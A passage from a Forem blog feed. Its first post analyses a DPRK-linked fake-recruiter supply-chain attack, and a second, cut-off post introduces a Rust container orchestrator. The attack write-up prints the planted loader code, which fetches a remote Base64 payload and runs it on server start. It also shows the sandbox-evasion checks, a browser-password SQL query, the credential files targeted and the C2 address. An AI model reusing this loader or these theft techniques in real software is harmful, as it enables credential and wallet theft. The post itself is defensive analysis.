      <pubDate>Thu, 16 Apr 2026 15:03:01 +0000</pubDate>
      <link>https://forem.com/mighty840/i-was-targeted-by-a-dprk-linked-supply-chain-attack-via-linkedin-heres-exactly-how-it-worked-21kp</link>
      <guid>https://forem.com/mighty840/i-was-targeted-by-a-dprk-linked-supply-chain-attack-via-linkedin-heres-exactly-how-it-worked-21kp</guid>
      <description>&lt;p&gt;Last week I caught a sophisticated supply-chain attack targeting developers before it could execute. I want to document exactly how it worked so you can recognize it if it comes for you.&lt;/p&gt;




&lt;h2&gt;
  
  
  How It Started
&lt;/h2&gt;

&lt;p&gt;A LinkedIn connection request from &lt;strong&gt;Andre Tiedemann&lt;/strong&gt;, claiming to be CEO of a Web3 startup called Pass App. Profile looked legitimate — blue verification checkmark, 377 connections, 12 years at Airbus in his work history, proper headshot.&lt;/p&gt;

&lt;p&gt;The pitch was standard: Engineering Manager role, decentralized platform, crypto payments integration. He asked screening questions, requested my CV, and scheduled a 4PM CET interview for the next day.&lt;/p&gt;

&lt;p&gt;Then, without waiting for confirmation, he sent this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"I shared a demo project: &lt;a href="https://bitbucket.org/welcome-air/welcome-nest/src/main/" rel="noopener noreferrer"&gt;https://bitbucket.org/welcome-air/welcome-nest/src/main/&lt;/a&gt; — Try setting it up locally, it'll help you get a better feel for how everything's structured. Please review our project and share your opinions on our meeting."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The meeting never happened. That was the entire point — get the repo cloned and executed before any scrutiny.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Was Inside the Repository
&lt;/h2&gt;

&lt;p&gt;The repository was a clean, realistic React/Node.js fullstack project. Proper folder structure, reasonable code, nothing obviously wrong on a quick scroll.&lt;/p&gt;

&lt;p&gt;Two files had been surgically modified:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;server/config/config.js&lt;/code&gt;&lt;/strong&gt; — added three innocuous-looking exports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locationToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setApiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verify&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;locationToken&lt;/code&gt; is a Base64 string that decodes to &lt;code&gt;https://www.jsonkeeper.com/b/UVEXH&lt;/code&gt; — a third-party JSON hosting service used as a payload staging server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;server/routes/auth.js&lt;/code&gt;&lt;/strong&gt; — an IIFE injected at the top:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;setApiKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;locationToken&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On server start, this silently fetches the remote payload, Base64-decodes it, and executes it via &lt;code&gt;new Function()&lt;/code&gt; — passing &lt;code&gt;require&lt;/code&gt; so it has full Node.js access. The catch block swallows all errors silently.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Payload
&lt;/h2&gt;

&lt;p&gt;The payload fetched from jsonkeeper.com was a &lt;strong&gt;2.8MB RC4-obfuscated JavaScript file&lt;/strong&gt; — 17,278 encrypted string array entries, 508,646 array rotations, 119 wrapper decode functions. Not something you reverse by reading it.&lt;/p&gt;

&lt;p&gt;First thing it does after decoding itself: check if it's running in an analysis environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Sandbox detection&lt;/span&gt;
&lt;span class="p"&gt;{}.&lt;/span&gt;&lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;return this&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;  &lt;span class="c1"&gt;// behaves differently in vm.createContext&lt;/span&gt;

&lt;span class="c1"&gt;// WSL detection&lt;/span&gt;
&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;WSL_DISTRO_NAME&lt;/span&gt;
&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/proc/version&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;microsoft&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Debugger detection + VM heuristics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it passes those checks, it silently installs four npm packages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;sql.js socket.io-client form-data axios &lt;span class="nt"&gt;--no-save&lt;/span&gt; &lt;span class="nt"&gt;--loglevel&lt;/span&gt; silent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--no-save&lt;/code&gt; means nothing appears in &lt;code&gt;package.json&lt;/code&gt;. &lt;code&gt;--loglevel silent&lt;/code&gt; suppresses all output. Then it spawns three background processes and gets to work.&lt;/p&gt;




&lt;h2&gt;
  
  
  What It Was Designed to Steal
&lt;/h2&gt;

&lt;p&gt;I executed the payload in an isolated sandbox VM with no access to real credentials or production systems. Here's what it would have gone after on a real machine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Browsers targeted (13):&lt;/strong&gt; Chrome, Firefox, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Kiwi, Iridium, Comodo Dragon, SRWare Iron, Chromium.&lt;/p&gt;

&lt;p&gt;For Chromium-based browsers it runs direct SQLite queries against &lt;code&gt;Login Data&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;origin_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username_value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password_value&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;logins&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Passwords are decrypted using platform key extraction (DPAPI on Windows, AES-GCM on Linux/macOS).&lt;/p&gt;

&lt;p&gt;For Firefox it targets both &lt;code&gt;logins.json&lt;/code&gt; AND &lt;code&gt;key4.db&lt;/code&gt; — with both files together all stored passwords are fully decryptable offline.&lt;/p&gt;

&lt;p&gt;It also targets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All files in &lt;code&gt;~/.ssh/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.aws/credentials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.docker/config.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Any file matching: &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, &lt;code&gt;secret&lt;/code&gt;, &lt;code&gt;api_key&lt;/code&gt;, &lt;code&gt;wallet&lt;/code&gt;, &lt;code&gt;.sqlite&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;macOS Keychain (&lt;code&gt;login.keychain-db&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Brave wallet LevelDB storage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clipboard contents — monitored continuously and exfiltrated in real time&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything gets exfiltrated to &lt;code&gt;216.126.225.243&lt;/code&gt; (Ogden, Utah — bulletproof hosting on AS46664 VolumeDrive) via Socket.IO on port 8087 and HTTP uploads on ports 8085/8086.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Fake Company
&lt;/h2&gt;

&lt;p&gt;Pass App was &lt;strong&gt;a real company&lt;/strong&gt; that shut down on December 16, 2025. They had 10.4K Twitter followers and announced their closure publicly. Their website went offline. Their LinkedIn presence went dormant.&lt;/p&gt;

&lt;p&gt;Four months later, the attacker hijacked that abandoned identity. The LinkedIn company page still had 585 followers and looked active. The real company's credibility became the attacker's cover.&lt;/p&gt;

&lt;p&gt;One tell: Andre's pitch described Pass App as &lt;em&gt;"a decentralized Airbnb-style platform"&lt;/em&gt; — completely different from the real product (an AI crypto wallet). The attacker's script hadn't been updated to match the brand they stole.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attribution
&lt;/h2&gt;

&lt;p&gt;This is a known campaign called &lt;strong&gt;"Contagious Interview"&lt;/strong&gt; (also tracked as "Dev Recruiter"). It has been running since at least 2023 and is attributed to DPRK-linked threat actors — specifically Lazarus Group / TraderTraitor. The goal is financially motivated: cloud credentials, crypto wallets, and SSH keys to pivot into production infrastructure.&lt;/p&gt;

&lt;p&gt;The malware family is consistent with &lt;strong&gt;BeaverTail&lt;/strong&gt; (the obfuscated JS infostealer) and &lt;strong&gt;InvisibleFerret&lt;/strong&gt; (the Python-based backdoor that sometimes follows it).&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;ukey: 506&lt;/code&gt; field in the C2 registration event suggests at least 506 active operator accounts in this campaign's infrastructure.&lt;/p&gt;




&lt;h2&gt;
  
  
  How I Caught It
&lt;/h2&gt;

&lt;p&gt;Code review before running anything. The &lt;code&gt;locationToken&lt;/code&gt; export looked odd — why is an API key Base64-encoded inline in config? Decoded it, saw jsonkeeper.com, fetched the URL, got a 2.8MB JSON blob with a &lt;code&gt;model&lt;/code&gt; field.&lt;/p&gt;

&lt;p&gt;I never ran it on my machine. I spun up an isolated VM instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Did About It
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Spun up an isolated QEMU/KVM sandbox VM with no real credentials, executed the payload with full network monitoring&lt;/li&gt;
&lt;li&gt;Captured a 23MB PCAP of the full C2 handshake&lt;/li&gt;
&lt;li&gt;Fully deobfuscated the payload via dynamic instrumentation — hooked the decoder functions, captured 900,000+ ordered call records, reconstructed the full source&lt;/li&gt;
&lt;li&gt;Reported to FBI IC3, CISA, BSI Germany, Atlassian, jsonkeeper, and npm security&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Red Flags — In Hindsight
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;What it meant&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Contact email is &lt;code&gt;@hotmail.com&lt;/code&gt; with random suffix&lt;/td&gt;
&lt;td&gt;Not a company domain — fake or hijacked account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LinkedIn connection made the day before the attack&lt;/td&gt;
&lt;td&gt;Purpose-built connection, not a real relationship&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Company website returns "Server Not Found"&lt;/td&gt;
&lt;td&gt;No legitimate business behind the persona&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Meeting scheduled but never confirmed&lt;/td&gt;
&lt;td&gt;Meeting was only a pretext to get the repo run&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Repo delivered before meeting acceptance&lt;/td&gt;
&lt;td&gt;Urgency tactic — get it executed before scrutiny&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Product description doesn't match company&lt;/td&gt;
&lt;td&gt;Attacker's script wasn't updated for the stolen brand&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Protect Yourself
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Never run &lt;code&gt;npm install&lt;/code&gt; on a repo from someone you just met online&lt;/strong&gt; without reading every file in &lt;code&gt;package.json&lt;/code&gt; scripts, every entry point, and especially any files that run on startup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use a disposable VM&lt;/strong&gt; for any externally-provided code. No SSH agent forwarding. No access to &lt;code&gt;~/.aws&lt;/code&gt; or &lt;code&gt;~/.docker&lt;/code&gt;. Snapshot before, delete after.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check the company website.&lt;/strong&gt; If it's down, walk away.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A recruiter email that doesn't match their company domain is a hard stop.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you've recently cloned a repo from a LinkedIn recruiter and ran it on your real machine — check your &lt;code&gt;~/.ssh/&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt; files, and browser credentials immediately. Look for lock files matching &lt;code&gt;{tmpdir}/pid.*.lock&lt;/code&gt;. If you find them, assume full compromise.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;IOCs, full technical details, and deobfuscated payload signatures have been shared with law enforcement and submitted to MalwareBazaar and VirusTotal.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Stay safe.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>node</category>
      <category>webdev</category>
    </item>
    <item>
      <title>I Built a Container Orchestrator in Rust Because Kubernetes Was Too Much and Coolify Wasn't Enough</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Fri, 10 Apr 2026 09:21:30 +0000</pubDate>
      <link>https://forem.com/mighty840/i-built-a-container-orchestrator-in-rust-because-kubernetes-was-too-much-and-coolify-wasnt-enough-4hj7</link>
      <guid>https://forem.com/mighty840/i-built-a-container-orchestrator-in-rust-because-kubernetes-was-too-much-and-coolify-wasnt-enough-4hj7</guid>
      <description>&lt;p&gt;There's a gap in the container orchestration world that nobody talks about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Docker Compose&lt;/strong&gt; works for 1 server. &lt;strong&gt;Coolify&lt;/strong&gt; and &lt;strong&gt;Dokploy&lt;/strong&gt; give you a nice GUI but still cap at one node. &lt;strong&gt;Kubernetes&lt;/strong&gt; handles 10,000 nodes but requires a team of platform engineers just to keep the lights on.&lt;/p&gt;

&lt;p&gt;What if you have &lt;strong&gt;2 to 20 servers&lt;/strong&gt;, &lt;strong&gt;20 to 100 services&lt;/strong&gt;, and a team of 1 to 5 engineers who'd rather ship features than debug etcd quorum failures?&lt;/p&gt;

&lt;p&gt;That's exactly where I was. So I built &lt;strong&gt;Orca&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Docker Compose ──&amp;gt; Coolify/Dokploy ──&amp;gt; Orca ──&amp;gt; Kubernetes
   (1 node)         (1 node, GUI)      (2-20)     (20-10k)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Orca is a &lt;strong&gt;single-binary container + WebAssembly orchestrator&lt;/strong&gt; written in Rust. One 47MB executable replaces your control plane, container agent, CLI, reverse proxy with auto-TLS, and terminal dashboard. Deploy with TOML configs that fit on one screen — no YAML empires, no Helm charts, no CRDs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;github.com/mighty840/orca&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Install:&lt;/strong&gt; &lt;code&gt;cargo install mallorca&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;I was running ~60 services across 3 servers for multiple projects — compliance platforms, trading bots, YouTube automation pipelines, chat servers, AI gateways. Coolify worked great at first, but then I needed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Services on &lt;strong&gt;multiple nodes&lt;/strong&gt; with DNS-based routing per node&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-TLS&lt;/strong&gt; without manually configuring Caddy/Traefik per domain&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Git push deploys&lt;/strong&gt; that actually work across nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rolling updates&lt;/strong&gt; that don't take down the whole stack&lt;/li&gt;
&lt;li&gt;Config as code, not clicking through a GUI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kubernetes was the obvious answer, but for 3 nodes and a solo developer? That's like buying a Boeing 747 to commute to work.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Orca Actually Does
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Single Binary, Everything Included
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo &lt;span class="nb"&gt;install &lt;/span&gt;mallorca
orca install-service          &lt;span class="c"&gt;# systemd unit with auto port binding&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start orca
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That one binary runs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Control plane&lt;/strong&gt; with Raft consensus (openraft + redb — no etcd)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Container runtime&lt;/strong&gt; via Docker/bollard&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WebAssembly runtime&lt;/strong&gt; via wasmtime (5ms cold start, ~2MB per instance)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse proxy&lt;/strong&gt; with Host/path routing, WebSocket proxying, rate limiting&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ACME client&lt;/strong&gt; for automatic Let's Encrypt certificates&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets store&lt;/strong&gt; with AES-256 encryption at rest&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Health checker&lt;/strong&gt; with liveness/readiness probes and auto-restart&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI assistant&lt;/strong&gt; that diagnoses cluster issues in natural language&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  TOML Config That Humans Can Read
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[service]]&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"api"&lt;/span&gt;
&lt;span class="py"&gt;image&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"myorg/api:latest"&lt;/span&gt;
&lt;span class="py"&gt;port&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
&lt;span class="py"&gt;domain&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"api.example.com"&lt;/span&gt;
&lt;span class="py"&gt;health&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/healthz"&lt;/span&gt;

&lt;span class="nn"&gt;[service.env]&lt;/span&gt;
&lt;span class="py"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"${secrets.DB_URL}"&lt;/span&gt;
&lt;span class="py"&gt;REDIS_URL&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"redis://cache:6379"&lt;/span&gt;

&lt;span class="nn"&gt;[service.resources]&lt;/span&gt;
&lt;span class="py"&gt;memory&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"512Mi"&lt;/span&gt;
&lt;span class="py"&gt;cpu&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;

&lt;span class="nn"&gt;[service.liveness]&lt;/span&gt;
&lt;span class="py"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/healthz"&lt;/span&gt;
&lt;span class="py"&gt;interval_secs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="py"&gt;failure_threshold&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Compare that to the equivalent Kubernetes YAML. I'll wait.&lt;/p&gt;
&lt;h3&gt;
  
  
  Multi-Node in One Command
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On worker nodes:&lt;/span&gt;
orca install-service &lt;span class="nt"&gt;--leader&lt;/span&gt; 10.0.0.1:6880
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start orca-agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The agent connects to the master via &lt;strong&gt;bidirectional WebSocket&lt;/strong&gt; — no HTTP polling, no gRPC complexity. Deploy commands arrive instantly. When an agent reconnects after a network blip, the master sends the full desired state and the agent self-heals.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[service.placement]&lt;/span&gt;
&lt;span class="py"&gt;node&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"gpu-box"&lt;/span&gt;         &lt;span class="c"&gt;# Pin to a specific node&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  GitOps Without a CI Runner
&lt;/h3&gt;

&lt;p&gt;Orca has a built-in &lt;strong&gt;infra webhook&lt;/strong&gt;. Point your git host at the orca API, and every push triggers &lt;code&gt;git pull&lt;/code&gt; + full reconciliation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# One-time setup:&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:6880/api/v1/webhooks &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"repo":"myorg/infra","service_name":"infra","branch":"main",
       "secret":"...","infra":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push a config change → orca pulls → deploys only what changed. No Jenkins, no GitHub Actions runner, no ArgoCD.&lt;/p&gt;

&lt;p&gt;For image-only updates (CI pushes new &lt;code&gt;:latest&lt;/code&gt;), register a per-service webhook and orca force-pulls + restarts.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Compares
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Coolify&lt;/th&gt;
&lt;th&gt;Dokploy&lt;/th&gt;
&lt;th&gt;Orca&lt;/th&gt;
&lt;th&gt;K8s&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
